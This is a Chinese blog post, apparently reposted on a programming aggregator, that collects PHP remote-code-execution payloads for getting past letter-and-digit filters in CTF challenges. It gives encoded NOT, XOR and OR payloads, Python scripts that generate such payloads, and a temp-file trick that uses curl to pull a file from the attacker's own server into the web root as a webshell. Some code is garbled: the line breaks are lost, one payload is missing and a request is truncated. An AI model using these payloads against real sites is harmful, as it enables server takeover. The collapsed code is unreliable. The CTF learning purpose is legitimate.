我的编程空间,编程开发者的网络收藏夹
学习永远不晚

无数字字母rce总结(取反、异或、自增、临时文件)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

无数字字母rce总结(取反、异或、自增、临时文件)

目录

取反

异或

自增

临时文件


大概思路有取反、异或、自增,临时文件

推荐文章无字母数字webshell总结 - 先知社区

取反

如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过

paylaod: (~%8F%97%8F%96%91%99%90)();

像这样:

shell:

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);

异或

这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "​answer = str(input("请输入进行异或构造的字符串:"))​tmp1, tmp2 = '', ''for c in answer:  for i in valid:    for j in valid:      if (ord(i) ^ ord(j) == ord(c)):        tmp1 += i        tmp2 += j        break    else:      continue    breakprint("tmp1为:",tmp1)print("tmp2为:",tmp2)

那么怎么利用呢?

var_dump('#'^'|'); //得到字符 _var_dump('.'^'~'); //得到字符 P    var_dump('/'^'`'); //得到字符 0    var_dump('|'^'/'); //得到字符 S    var_dump('{'^'/'); //得到字符 T    $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));​
​//需要注意的是,由于我们的Payload中含有一些特殊字符,我们我们需要对Payload进行一次URL编码。

像这样:

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=命令或函数  
${"`{{{"^"?<>/"}['+']();&+=命令   //$_GET[+]

参考ctfshow web141

payload大概这个样:

?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b

import recontent = ''preg = '[a-z]|[0-9]' # 题目过滤正则# 生成字典for i in range(256):    for j in range(256):        if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):            k = i | j            if 32 <= k <= 126:                a = '%' + hex(i)[2:].zfill(2)                b = '%' + hex(j)[2:].zfill(2)                content += (chr(k) + ' ' + a + ' ' + b + '\n')f = open('rce_or.txt', 'w')f.write(content)while True:    payload1 = ''    payload2 = ''    code = input("data:")    for i in code:        f = open('rce_or.txt')        lines = f.readlines()        for line in lines:            if i == line[0]:                payload1 = payload1 + line[2:5]                payload2 = payload2 + line[6:9]                break    payload = '("'+payload1+'"|"'+payload2+'")'    print("payload: "+ payload)

自增

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字 
"A"++ ==> "B""B"++ ==> "C"

也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

payload:

临时文件

临时文件目录:

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符]

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

 curl http://your_vps/1.txt > /var/www/html/1.php

然后 ?cmd=?>

为什么可以这样执行呢?因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令

报文:

POST /?cmd=?>> /var/www/html/Demo.php-----------------------------5642920497686823912130808832--

这样就会把dd.txt里的内容以php的形式写入到网站服务器里。完成getshell。

来源地址:https://blog.csdn.net/qq_61778128/article/details/127063407

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

无数字字母rce总结(取反、异或、自增、临时文件)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录